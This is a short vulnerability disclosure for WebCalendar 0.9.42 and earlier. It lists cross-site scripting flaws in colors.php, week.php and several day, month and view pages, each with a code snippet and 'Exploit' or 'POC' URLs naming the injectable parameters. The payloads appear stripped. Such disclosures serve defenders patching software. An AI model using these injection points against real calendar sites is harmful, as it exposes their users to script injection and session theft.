Webcalendar <= 0.9.42 http://webcalendar.sourceforge.net/ WebCalendar is a PHP application used to maintain a calendar for one or more persons Cross Site Scripting ======================================== Files (Mabe Others): ---------------------------- includes/js/colors.php Code Sniplet: [...] window.opener.document.prefform..value= color; [...] Exploit: --------------------------- http://www.host.name/webcalendar/colors.php?color= Files (Mabe Others): ------------------------- week.php Code sniplet: [...] echo html_for_add_icon ( date ( "Ymd", $days[$d] ), $time_h, $time_m, $user ); [...] Exploit: -------------------- http://www.host.name/webcalendar/week.php?user="> Files (Mabe Others): ------------------------- day.php month.php week_details.php view_l.php view_m.php view_t.php view_v.php view_w.php week_details.php Code Sniplet: [...] echo $eventinfo; [...] Exploit: ---------------- http://www.host.name/webcalendar/week.php?eventinfo= POC: ----------------- http://www.host.name/webcalendar/week.php?eventinfo=